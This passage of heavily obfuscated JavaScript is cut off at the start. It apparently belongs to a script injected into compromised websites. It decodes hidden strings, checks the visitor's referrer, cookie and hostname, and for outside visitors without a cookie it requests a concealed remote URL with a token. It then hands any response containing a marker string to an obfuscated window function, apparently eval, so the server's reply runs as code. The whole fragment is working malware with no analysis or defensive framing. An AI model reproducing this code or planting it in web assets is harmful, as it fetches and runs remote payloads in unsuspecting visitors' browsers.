p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};